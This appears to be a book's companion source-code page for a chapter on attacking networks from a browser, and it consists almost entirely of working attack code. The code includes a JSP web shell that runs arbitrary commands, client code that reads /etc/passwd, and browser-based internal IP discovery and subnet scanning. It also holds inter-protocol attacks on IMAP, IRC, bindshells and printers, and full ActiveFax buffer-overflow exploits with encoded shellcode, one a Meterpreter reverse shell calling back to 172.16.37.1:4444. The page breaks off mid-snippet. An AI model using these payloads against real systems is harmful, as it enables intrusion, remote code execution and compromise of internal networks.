BHH logo

Ch10 Source Code - Attacking Networks


BeEF Bind - JSP version (server-side code)

<%@ page import="java.util.*,java.io.*"%>
<%
// needed for cross-domain communication
response.setHeader("Access-Control-Allow-Origin", "*");

try{
// needed for handling text/plain data
BufferedReader br = request.getReader();
String line = br.readLine(); 
if(line != null){
 String[] cmds = line.split("cmd=");
 if(cmds.length > 0){
   String cmd = cmds[1];
   //executes the command
   Process p = Runtime.getRuntime().exec(cmd);
   // reads the command output
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while(disr != null){
    out.println(disr);
    disr = dis.readLine();
   }
 } 
}}catch(Exception e){
out.println("Exception!!");
}
%>

BeEF Bind - JSP version (client-side code)

<html>
<body>
<script>
var uri = "http://browservictim.com";
var port = 8080;
var path = "BeEF_Bind.jsp";
var cmd = "cat /etc/passwd"	
xhr = new XMLHttpRequest();	
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        console.log(xhr.responseText);
    }
}
xhr.open("POST", uri + ":" + port + "/" + path, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send("cmd=" + cmd);
</script>
</body>
</html>

BeEF Bind Shellcode sources

Fingerprinting non-HTTP services PoC

var target = "172.16.37.151";
var port = 5900;
var count = 1;
var time = 0;

function doRequest(){
if(count <= 3){
    var xhr = new XMLHttpRequest();
    var port = 5900;
    xhr.open("POST", "http://" + target + ":" + port + "/" + Math.random());
    var start = new Date().getTime();
    xhr.send("foo");
    	
    xhr.onreadystatechange = function () {
     if (xhr.readyState == 4) {
    	 var end = new Date().getTime();
    	 console.log("DONE in " + (end-start) + " ms");
    	 count++; time += end-start;
    	 doRequest();
      }
    }
}else{
    console.log("COMPLETED. Average: " + time/3);
}
}

doRequest();

Get Hooked Browser Internal IP - java applet technique

import java.applet.Applet;
import java.applet.AppletContext;
import java.net.InetAddress;
import java.net.Socket;

/*
* adapted from Lars Kindermann applet
* http://reglos.de/myaddress/MyAddress.html
*/
public class get_internal_ip extends Applet {
 String Ip = "unknown";
 String internalIp = "unknown";
 String IpL = "unknown";

 private String MyIP(boolean paramBoolean) {
  Object obj = "unknown";
  String str2 = getDocumentBase().getHost();
  int i = 80;
  if (getDocumentBase().getPort() != -1){
    i = getDocumentBase().getPort();
  }
  try {
    String str1 = new Socket(str2, i).getLocalAddress().getHostAddress();
    if (!str1.equals("255.255.255.255")) obj = str1;
  } catch (SecurityException localSecurityException) {
    obj = "FORBIDDEN";
  } catch (Exception localException1) {
    obj = "ERROR";
 }
 if (paramBoolean) try {
    obj = new Socket(str2, i).getLocalAddress().getHostName();
 } catch (Exception localException2) {}
 return (String) obj;
 }

 public void init() {
  this.Ip = MyIP(false);
 }

 public String ip() {
  return this.Ip;
 }

 public String internalIp() {
  return this.internalIp;
 }

 public void start() {}
    
}

Get Hooked Browser Internal IP - WebRTC technique

<html>
<head><title>Get Internal IP</title></head>
<body>

    <h1 id="update"></h1>
<script>

function go() {
    var RTCPeerConnection = window.webkitRTCPeerConnection 
                        || window.mozRTCPeerConnection;

if (RTCPeerConnection) (function () {

  var addrs = Object.create(null);
  addrs["0.0.0.0"] = false;
  
  // Establish a connection with ICE / relay servers - in this instance: NONE
  var rtc = new RTCPeerConnection({iceServers:[]});
  // FF needs a channel/stream to proceed
  if (window.mozRTCPeerConnection) {
      rtc.createDataChannel('', {reliable:false});
  };
  
  // Upon an ICE candidate being found
  // Grep the SDP data for IP address data
  rtc.onicecandidate = function (evt) {
      if (evt.candidate) grepSDP(evt.candidate.candidate);
  };

  // Create an SDP offer
  // This kicks off the process
  rtc.createOffer(function (offerDesc) {
      // Grep the SDP data upon a successful offer
      grepSDP(offerDesc.sdp);
      // Set this offer as the local description for the RTC Peer Connection
      rtc.setLocalDescription(offerDesc);
    }, function (e) { // If the SDP offer fails
      document.getElementById("update").innerHTML = "SDP Offer Failed";
       });
  
  //Process new IPs as they're grepped
  function processIPs(newAddr) {
    if (newAddr in addrs) return;
    else addrs[newAddr] = true;
    var displayAddrs = Object.keys(addrs).filter(function (k) {
                                            return addrs[k]; });
    document.getElementById("update").innerHTML = "IP is " + displayAddrs.join(" or perhaps ");
  }
  
  function grepSDP(sdp) {
    var hosts = [];
    // c.f. http://tools.ietf.org/html/rfc4566#page-39
    sdp.split('\r\n').forEach(function (line) {
      // http://tools.ietf.org/html/rfc4566#section-5.13
      if (~line.indexOf("a=candidate")) {     
        // http://tools.ietf.org/html/rfc5245#section-15.1
        var parts = line.split(' '), 
          addr = parts[4],
          type = parts[7];
        if (type === 'host') processIPs(addr);
      // http://tools.ietf.org/html/rfc4566#section-5.7
      } else if (~line.indexOf("c=")) { 
        var parts = line.split(' '),
          addr = parts[2];
        processIPs(addr);
      }
    });
  }
})(); else { // Browser doesn't support RTCPeerConnection
    document.getElementById("update").innerHTML = "Browser doesn't appear to support RTCPeerConnection";
} 

}

</script>

<input type="button" onclick="go();" value="Get IP" />
</body>
</html>

Identifying Internal Network Subnets

var ranges = [
'192.168.0.0','192.168.1.0',
'192.168.2.0','192.168.10.0',
'192.168.100.0','192.168.123.0',
'10.0.0.0','10.0.1.0',
'10.1.1.0'
];
var discovered_hosts = [];
// XHR timeout
var timeout = 5000;

function doRequest(host) {
var d = new Date;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = processRequest;
xhr.timeout = timeout;

function processRequest(){
 if(xhr.readyState == 4){
  var time = new Date().getTime() - d.getTime();
  var aborted = false;
  // if we call window.stop() the event triggered is 'abort'
  // http://www.w3.org/TR/XMLHttpRequest/#event-handlers
  xhr.onabort = function(){
    aborted = true;
  }

  xhr.onloadend = function(){
    if(time < timeout){
      // 'abort' fires always before 'onloadend'
      if(time > 10 && aborted === false){ 
        console.log('Discovered host ['+host+
            '] in ['+time+'] ms');
        discovered_hosts.push(host);
      }
    }
    }
 }
}

xhr.open("GET", "http://" + host, true);
xhr.send();
}

var start_time = new Date().getTime();
function checkComplete(){
    var current_time = new Date().getTime();
    if((current_time - start_time) > timeout + 1000){
        // to stop pending XHRs, especially in Chrome
        window.stop(); 
        clearInterval(checkCompleteInterval);
        console.log("Discovered hosts:\n" + 
            discovered_hosts.join("\n"));
    }
}

var checkCompleteInterval = setInterval(function(){
  checkComplete()}, 1000);

for (var i = 0; i < ranges.length; i++) {
// the following returns like 192.168.0.
 var c = ranges[i].split('.')[0]+'.'+
 ranges[i].split('.')[1]+'.'+
 ranges[i].split('.')[2]+'.';
 // for every entry in the 'ranges' array, request
 // the most common gateway IPs, like:
 // 192.168.0.1, 192.168.0.100, 192.168.0.254
 doRequest(c + '1');
 doRequest(c + '100');
 doRequest(c + '254');
}

Inter-protocol Communication - IMAP example

// you need to disable port banning. In firefox you can do that in about:config
// "network.security.ports.banned.override", "143");
// or through a malicious FF extension

var server = '172.16.37.151';
var port = '143';
var commands = 'a01 login root password\na002 logout';

var target = "http://" + server + ":" + port + "/abc.html";
var iframe = beef.dom.createInvisibleIframe();

var form = document.createElement('form');
form.setAttribute('name', 'data');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'text/plain');

var input = document.createElement('input');
input.setAttribute('id', 'data1')
input.setAttribute('name', 'data1')
input.setAttribute('type', 'hidden');
input.setAttribute('value', commands);
form.appendChild(input);

iframe.contentWindow.document.body.appendChild(form);
form.submit();

Inter-protocol Communication - IRC example

var rhost   = 'irc_server';
var rport   = '6667';
var nick    = 'user1234';
var channel = '#channel_1';
var message = 'BeEFed';

var irc_commands = "NICK " + nick + "\n";
irc_commands    += "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands    += "JOIN " + channel + "\n";
irc_commands    += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";

// send commands
var irc_iframe = 
beef.dom.createIframeIpecForm(rhost, rport, 
"/index.html", irc_commands);

// clean up
cleanup = function() {
    document.body.removeChild(irc_iframe);
}
setTimeout("cleanup()", 15000);

Inter-protocol Communication - POSIX Bindshell example

var target_ip = "172.16.37.153";
var target_port = "7777";
var cmd = 'netstat -nap | grep tcp';
var timeout = "30";
var internal_counter = 0;
var result_size = "4096";

// create ipc_posix_window IFrame
var ipc_posix_window = document.createElement("iframe");
ipc_posix_window.setAttribute("id","ipc_posix_window");
ipc_posix_window.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(ipc_posix_window);

// send a request
function send_commands(ip, port, cmd, size) {

var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;";
var parent = window.location.href;

// create the main form that will be used to send the POST data 
var poster=document.createElement("form");
poster.setAttribute("name","data");
poster.setAttribute("method","post");
poster.setAttribute("enctype","multipart/form-data");
poster.setAttribute("action",action);
document.getElementById("ipc_posix_window").contentWindow.document.body.appendChild(poster);

body1 = "<html><body><div id='ipc_content'>";

// communicate through the Hash tag to the parent IFrame 
// the results of the command execution
body2 = "__END_OF_POSIX_IPC__</div><s"+"cript>window.location='" +
parent + "#ipc_result='+encodeURI(" +
"document.getElementById(\\\"ipc_content\\\").innerHTML);</"
+"script></body></html>";

// post results separator
var response = document.createElement("input");
response.setAttribute("id","response");
response.setAttribute("name","response");

// construct the HTTP headers for the response
response.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;"+
"echo -e Content-Type: text/html\\\\r;"+

// calculates the Content-Length
"echo -e Content-Length: "+(body1.length + cmd.length +
body2.length + size*1)+"\\\\r;"+
"echo -e Keep-Alive: timeout=5,max=100\\\\r;"+
"echo -e Connection: keep-alive\\\\r;"+
"echo -e \\\\r;"+

// returns the ipc_content div, executes the command,
// and returns the command results up to head -c SIZE
"echo \"" + body1 + "\";(" + cmd + ")|head -c "+size+" ; ");

poster.appendChild(response);

// Adding buffer space for the command result
var end_talkback = " echo -e \"" + body2;
while(--size) end_talkback += " ";
end_talkback += "\" \\\\r ;";

// post js to call home and close connection
var talkback_input = document.createElement("input");
talkback_input.setAttribute("id","endTalkBack");
talkback_input.setAttribute("name","endTalkBack");
talkback_input.setAttribute("value",end_talkback);

poster.appendChild(talkback_input);
poster.submit();
}

// wait <timeout> seconds for the IFrame url fragment to match #ipc_result=
function wait() {

try {
 if (/#ipc_result=/.test(document.getElementById("ipc_posix_window").contentWindow.location)) {
  var ipc_result = document.getElementById("ipc_posix_window").contentWindow.location.href;
  output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC__'));
  console.log(decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "<").replace(/>/g, ">").replace(/<br>/gi, "<br>"));
  document.body.removeChild(ipc_posix_window);
  return;
 } else throw("command results haven't been returned yet");
} catch (e) {
 internal_counter++;
 if (internal_counter > timeout) {
  console.log('Timeout after '+timeout+' seconds');
  document.body.removeChild(ipc_posix_window);
  return;
 }
 setTimeout(function() {wait()},1000);
}
}

send_commands(target_ip, target_port, cmd,result_size);
wait();

Inter-protocol Communication - Printer (Raw) example

var body = "Hi from BeEF!\n";
var ip = "10.90.1.131";
var port = 9100;
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://" + ip + ":" + port + "/",false);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send(body);


Inter-protocol Communication - Printer (PostScript) example

var body = String.fromCharCode(27) + "%[email protected] ENTER LANGUAGE = POSTSCRIPT\r\n"
+ "%!PS\r\n"
+ "/Courier findfont\r\n"
+ "20 scalefont\r\n"
+ "setfont\r\n"
+ "72 500 moveto\r\n"
+ "(Demonstrating IPEC) show\r\n"
+ "showpage\r\n"
+ String.fromCharCode(27) + "%-12345X";

var ip = "10.90.1.131";
var port = 9100;
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://" + ip + ":" + port + "/",false);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send(body);


Inter-protocol Exploitation - ActiveFax exploit (BeEF Bind payload)

var target = "http://172.16.37.151";
var port = 3000;
var xhr = null;
// BeEF Bind stager, listen on 4444
// encoded with x86/alpha_mixed
var stager = '\xd9\xc2\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x6d\x38\x6c\x49\x63\x30\x53\x30\x63\x30\x73\x50\x6f\x79\x68\x65\x65\x61\x5a\x72\x65\x34\x4c\x4b\x31\x42\x76\x50\x6c\x4b\x43\x62\x34\x4c\x6e\x6b\x63\x62\x55\x44\x6e\x6b\x52\x52\x35\x78\x54\x4f\x4c\x77\x31\x5a\x67\x56\x55\x61\x6b\x4f\x64\x71\x59\x50\x4c\x6c\x65\x6c\x43\x51\x31\x6c\x74\x42\x56\x4c\x31\x30\x6b\x71\x7a\x6f\x44\x4d\x37\x71\x39\x57\x69\x72\x6a\x50\x32\x72\x56\x37\x4c\x4b\x53\x62\x32\x30\x4e\x6b\x47\x32\x77\x4c\x66\x61\x48\x50\x6e\x6b\x57\x30\x34\x38\x4c\x45\x6b\x70\x72\x54\x53\x7a\x37\x71\x68\x50\x72\x70\x4e\x6b\x70\x48\x32\x38\x4c\x4b\x46\x38\x45\x70\x53\x31\x59\x43\x7a\x43\x65\x6c\x62\x69\x6e\x6b\x75\x64\x4c\x4b\x47\x71\x48\x56\x75\x61\x6b\x4f\x36\x51\x4b\x70\x6e\x4c\x6f\x31\x7a\x6f\x74\x4d\x53\x31\x68\x47\x70\x38\x79\x70\x62\x55\x68\x74\x65\x53\x71\x6d\x78\x78\x67\x4b\x53\x4d\x57\x54\x30\x75\x48\x62\x50\x58\x6e\x6b\x56\x38\x55\x74\x53\x31\x5a\x73\x71\x76\x6e\x6b\x64\x4c\x72\x6b\x4e\x6b\x76\x38\x35\x4c\x35\x51\x49\x43\x4e\x6b\x37\x74\x4c\x4b\x55\x51\x6a\x70\x6b\x39\x71\x54\x37\x54\x65\x74\x63\x6b\x61\x4b\x30\x61\x53\x69\x63\x6a\x63\x61\x69\x6f\x4d\x30\x32\x78\x31\x4f\x30\x5a\x6c\x4b\x55\x42\x6a\x4b\x4d\x56\x73\x6d\x50\x68\x50\x33\x56\x52\x33\x30\x45\x50\x51\x78\x44\x37\x31\x63\x46\x52\x31\x4f\x70\x54\x62\x48\x70\x4c\x34\x37\x47\x56\x36\x67\x6b\x4f\x68\x55\x6f\x48\x4a\x30\x63\x31\x45\x50\x73\x30\x51\x39\x4f\x34\x36\x34\x52\x70\x42\x48\x75\x79\x4f\x70\x42\x4b\x67\x70\x59\x6f\x49\x45\x76\x30\x36\x30\x66\x30\x32\x70\x77\x30\x72\x70\x77\x30\x62\x70\x65\x38\x68\x6a\x36\x6f\x79\x4f\x6d\x30\x79\x6f\x5a\x75\x7a\x37\x45\x61\x69\x4b\x76\x33\x45\x38\x53\x32\x73\x30\x34\x51\x43\x6c\x6b\x39\x6a\x46\x31\x7a\x52\x30\x70\x56\x31\x47\x51\x78\x49\x52\x49\x4b\x56\x57\x51\x77\x4b\x4f\x58\x55\x76\x33\x31\x47\x42\x48\x48\x37\x78\x69\x34\x78\x49\x6f\x79\x6f\x79\x45\x32\x73\x51\x43\x72\x77\x72\x48\x63\x44\x48\x6c\x47\x4b\x6b\x51\x4b\x4f\x48\x55\x63\x67\x4c\x57\x63\x58\x33\x45\x72\x4e\x42\x6d\x43\x51\x39\x6f\x49\x45\x4f\x4b\x37\x70\x62\x30\x73\x30\x67\x70\x42\x4a\x77\x30\x76\x33\x61\x43\x31\x7a\x77\x70\x33\x58\x61\x48\x4f\x54\x53\x63\x4a\x45\x79\x6f\x78\x55\x6d\x59\x49\x56\x50\x6a\x57\x70\x43\x63\x70\x50\x72\x77\x43\x58\x55\x52\x6a\x79\x78\x48\x43\x6f\x4b\x4f\x5a\x75\x43\x67\x63\x58\x6f\x36\x4f\x66\x4e\x67\x56\x32\x59\x6f\x79\x45\x6d\x51\x47\x4e\x45\x33\x62\x4d\x72\x44\x45\x6d\x53\x44\x75\x53\x52\x66\x38\x6b\x48\x75\x6c\x43\x4a\x66\x36\x64\x6b\x4f\x69\x76\x41\x41';
var stage = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x14\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x89\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74\x24\x10\xff\x74\x24\x14\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00\x00\x8d\x46\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe\x18\x04\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d\x0a\x5e\xb9\x62\x00\x00\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89\x3e\x6a\x00\x68\x00\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54\x24\x64\xb9\x00\x04\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb\xf2\x81\xc3\x03\x00\x00\x00\x43\x53\x68\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00\x57\x68\x01\x00\x00\x00\x53\x8b\x5c\x24\x70\x53\x68\x2d\x57\xae\x5b\xff\xd5\x5b\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x31\xc0\x50\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24\x74\x8b\x1b\x53\x68\x18\xb7\x3c\xb3\xff\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85\xc0\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14\x04\x00\x00\x57\x68\x86\x0b\x00\x00\x8d\xbe\x7a\x04\x00\x00\x57\x8d\x5c\x24\x70\x8b\x1b\x53\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6\x96\x87\x52\xff\xd5\xe9\x38\xfe\xff\xff';

// jmp esp in ole32.dll - Win XP SP3 English
var eip = '\x77\x9c\x55\x77';
// align the stack
var adjust = '\x81\xc4\x24\xfa\xff\xff';

var shellcode_chunk_1 = stager.slice(0,554);
var shellcode_chunk_2 = stager.slice(554, stager.length);

function genJunk(c, length){
	var temp = "";
    for(var i=0;i<length;i++){
    	temp += c;
    }
    return temp; 
}

var fill = genJunk("\x42", (1024 - shellcode_chunk_2.length));
	
function sendRequest(port, data){
 xhr = new XMLHttpRequest();
 // for WebKit-based browsers
 var url = target + ":"+ port;
 if (!XMLHttpRequest.prototype.sendAsBinary) {
  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
    }
    /* send as ArrayBufferView...: */
    this.send(ui8Data);
  };
 }
 xhr.open("POST", url, true);
 xhr.setRequestHeader("Content-Type", "text/plain");
 xhr.setRequestHeader('Accept','*/*');
 xhr.setRequestHeader("Accept-Language", "en");
 xhr.sendAsBinary(data);
}		

// final shellcode
var payload = shellcode_chunk_2 + fill + eip + adjust + shellcode_chunk_1;

var stager_request = "@F506 " + payload + "@\r\n\r\n";
sendRequest(port, stager_request);

setTimeout(function(){
	xhr.abort();
	setTimeout(function(){
		// wait a few seconds to have the Stager in memory, then
		// send the Stage on default BeEF Bind port 4444.
		var stage_request = "cmd=" + stage;
		sendRequest(4444, stage_request);
	}, 4000);
}, 2000);


Inter-protocol Exploitation - ActiveFax exploit (Meterpreter payload)

var target = "http://172.16.37.151";
var port = 3000;
var xhr = null;

// Meterpreter reverse_tcp stager.
// connects back to 172.16.37.1:4444
// encoded with x86/alpha_mixed
var stager = 
"\x89\xe2\xdb\xc3\xd9\x72\xf4\x5d\x55\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x4b\x4c\x48\x68\x4d\x59\x67\x70\x53\x30" +
"\x33\x30\x65\x30\x4d\x59\x4b\x55\x66\x51\x49\x42\x70\x64" +
"\x6e\x6b\x42\x72\x54\x70\x4e\x6b\x61\x42\x34\x4c\x6c\x4b" +
"\x43\x62\x66\x74\x4e\x6b\x33\x42\x54\x68\x74\x4f\x4f\x47" +
"\x73\x7a\x71\x36\x50\x31\x69\x6f\x46\x51\x39\x50\x4c\x6c" +
"\x67\x4c\x53\x51\x43\x4c\x46\x62\x74\x6c\x37\x50\x39\x51" +
"\x5a\x6f\x44\x4d\x76\x61\x68\x47\x69\x72\x38\x70\x61\x42" +
"\x66\x37\x6c\x4b\x50\x52\x54\x50\x4c\x4b\x52\x62\x75\x6c" +
"\x67\x71\x4e\x30\x6e\x6b\x53\x70\x61\x68\x6b\x35\x59\x50" +
"\x34\x34\x52\x6a\x73\x31\x5a\x70\x76\x30\x6c\x4b\x43\x78" +
"\x44\x58\x6c\x4b\x72\x78\x31\x30\x33\x31\x4b\x63\x79\x73" +
"\x45\x6c\x63\x79\x4c\x4b\x65\x64\x6e\x6b\x37\x71\x4b\x66" +
"\x55\x61\x69\x6f\x56\x51\x4b\x70\x4e\x4c\x7a\x61\x4a\x6f" +
"\x56\x6d\x55\x51\x78\x47\x66\x58\x6b\x50\x34\x35\x78\x74" +
"\x33\x33\x71\x6d\x49\x68\x67\x4b\x61\x6d\x47\x54\x50\x75" +
"\x4a\x42\x76\x38\x6e\x6b\x52\x78\x66\x44\x67\x71\x79\x43" +
"\x30\x66\x6c\x4b\x76\x6c\x70\x4b\x6c\x4b\x61\x48\x75\x4c" +
"\x53\x31\x48\x53\x4e\x6b\x67\x74\x4e\x6b\x46\x61\x58\x50" +
"\x6b\x39\x72\x64\x34\x64\x31\x34\x71\x4b\x73\x6b\x35\x31" +
"\x56\x39\x63\x6a\x33\x61\x59\x6f\x49\x70\x51\x48\x71\x4f" +
"\x43\x6a\x6e\x6b\x74\x52\x68\x6b\x6c\x46\x63\x6d\x70\x68" +
"\x54\x73\x46\x52\x47\x70\x77\x70\x63\x58\x70\x77\x73\x43" +
"\x35\x62\x53\x6f\x63\x64\x53\x58\x72\x6c\x63\x47\x44\x66" +
"\x73\x37\x6b\x4f\x49\x45\x6d\x68\x6e\x70\x63\x31\x35\x50" +
"\x63\x30\x64\x69\x7a\x64\x56\x34\x56\x30\x61\x78\x36\x49" +
"\x6b\x30\x30\x6b\x53\x30\x39\x6f\x6a\x75\x56\x30\x72\x70" +
"\x76\x30\x62\x70\x63\x70\x32\x70\x71\x50\x56\x30\x33\x58" +
"\x39\x7a\x76\x6f\x59\x4f\x79\x70\x79\x6f\x5a\x75\x4c\x57" +
"\x51\x7a\x43\x35\x75\x38\x4e\x4c\x72\x30\x71\x35\x75\x51" +
"\x61\x78\x74\x42\x65\x50\x47\x61\x53\x6c\x6d\x59\x49\x76" +
"\x31\x7a\x74\x50\x53\x66\x51\x47\x63\x58\x7a\x39\x4c\x65" +
"\x50\x74\x75\x31\x59\x6f\x59\x45\x6c\x45\x59\x50\x42\x54" +
"\x64\x4c\x6b\x4f\x62\x6e\x36\x68\x32\x55\x68\x6c\x55\x38" +
"\x6c\x30\x68\x35\x6e\x42\x50\x56\x69\x6f\x58\x55\x70\x6a" +
"\x47\x70\x52\x4a\x45\x54\x71\x46\x52\x77\x50\x68\x77\x72" +
"\x68\x59\x6f\x38\x61\x4f\x49\x6f\x38\x55\x6e\x6b\x30\x36" +
"\x61\x7a\x61\x50\x50\x68\x67\x70\x56\x70\x37\x70\x35\x50" +
"\x30\x56\x61\x7a\x57\x70\x51\x78\x63\x68\x4f\x54\x31\x43" +
"\x6b\x55\x49\x6f\x39\x45\x7a\x33\x36\x33\x43\x5a\x37\x70" +
"\x62\x76\x70\x53\x71\x47\x75\x38\x67\x72\x79\x49\x5a\x68" +
"\x33\x6f\x79\x6f\x78\x55\x37\x71\x5a\x63\x34\x69\x6f\x36" +
"\x4b\x35\x6b\x46\x71\x65\x4a\x4c\x6b\x73\x41\x41"

// jmp esp in ole32.dll - Win XP SP3 English
var eip = '\x77\x9c\x55\x77';
// align the stack
var adjust = '\x81\xc4\x24\xfa\xff\xff';

var shellcode_chunk_1 = stager.slice(0,554);
var shellcode_chunk_2 = stager.slice(554, stager.length);

function genJunk(c, length){
	var temp = "";
    for(var i=0;i<length;i++){
    	temp += c;
    }
    return temp; 
}

var fill = genJunk("\x42", (1024 - shellcode_chunk_2.length));
	
function sendRequest(port, data){
 xhr = new XMLHttpRequest();
 // for WebKit-based browsers
 var url = target + ":"+ port;
 if (!XMLHttpRequest.prototype.sendAsBinary) {
  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
    }
    /* send as ArrayBufferView...: */
    this.send(ui8Data);
  };
 }
 xhr.open("POST", url, true);
 xhr.setRequestHeader("Content-Type", "text/plain");
 xhr.setRequestHeader('Accept','*/*');
 xhr.setRequestHeader("Accept-Language", "en");
 xhr.sendAsBinary(data);
}		

// final shellcode
var payload = shellcode_chunk_2 + fill + eip + adjust + shellcode_chunk_1;

var stager_request = "@F506 " + payload + "@\r\n\r\n";
sendRequest(port, stager_request);

setTimeout(function(){
	xhr.abort();
}, 2000);


Inter-protocol Exploitation - ActiveFax exploit (BeEF Bind XHR client)

var uri = "http://172.16.37.151";
var port = 4444;

var cmd = "dir"	
xhr = new XMLHttpRequest();	
